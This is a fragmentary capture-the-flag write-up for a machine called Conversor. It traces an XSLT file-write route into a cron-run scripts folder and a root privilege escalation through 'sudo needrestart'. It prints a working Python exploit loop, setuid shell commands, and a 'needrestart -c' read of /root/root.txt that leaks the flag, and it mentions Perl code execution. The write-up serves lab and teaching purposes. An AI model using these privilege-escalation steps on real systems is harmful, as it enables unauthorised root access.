We can assume this is likely a www-data user running this app from /var/www/*
Confirmed filepath in both app.py and app.wgsi
We also discover a potential vulnerability that exists within the XSLT handling of app.py. Specifically it lacks the same restrictions for XML, not being parsed the same way.
From install.md we find very pertinent information
$ cat install.mdTo deploy Conversor, we can extract the compressed file:"""tar -xvf source_code.tar.gz"""We install flask:"""pip3 install flask"""We can run the app.py file:"""python3 app.py"""You can also run it with Apache using the app.wsgi file.If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab."""* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done"""
www-data user confirmed
Write perms for any and all /var/www/conversor.htb/scripts/*.py executed by cronjob
If we can add a script there it will eventually be executed
We are interested in the file write payload specifically since we need to put python script onto system
EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language.
fismathack@conversor:~$ cat << 'EOF' > /tmp/malicious/e.pyimport timewhile True: try: import importlib except: pass if __import__("os").path.exists("/tmp/poc"): print("Got shell!, delete traces in /tmp/poc, /tmp/malicious") __import__("os").system("sudo /tmp/poc -p") break time.sleep(1)EOFfismathack@conversor:~$ cd /tmp/malicious && PYTHONPATH="$PWD" python3 e.py 2>/dev/null &fismathack@conversor:~$ sudo needrestartGot shell!, delete traces in /tmp/poc, /tmp/maliciousfismathack@conversor:~$ ls -ls /tmptotal 164 4 drwxrwxr-x 3 fismathack fismathack 4096 Oct 69 00:00 malicious124 -rwsr-xr-x 1 root root 125688 Oct 69 00:00 pocfismathack@conversor:~$ sudo -lUser fismathack may run the following commands on conversor: (ALL : ALL) NOPASSWD: /usr/sbin/needrestart (root) NOPASSWD: /tmp/poc
We see poc was created with root setuid
Spawn root shell with -p flag
fismathack@conversor:~$ /tmp/poc -p$ iduid=1000(fismathack) gid=1000(fismathack) euid=0(root) groups=1000(fismathack)$ ls /rootroot.txt scripts
Root2 ( -c file read only)
Loads any file as a config file leaking its contents, can do so with root flag directly
fismathack@conversor:~$ sudo needrestart -c /root/root.txtError parsing /root/root.txt: Bareword "a4e1aed012594089722de598ae0ea40c" not allowed while "strict subs" in use at (eval 14) line 1.
Root3 (-c Perl RCE)
Similar idea but avoiding errors and allowing code execution for full root shell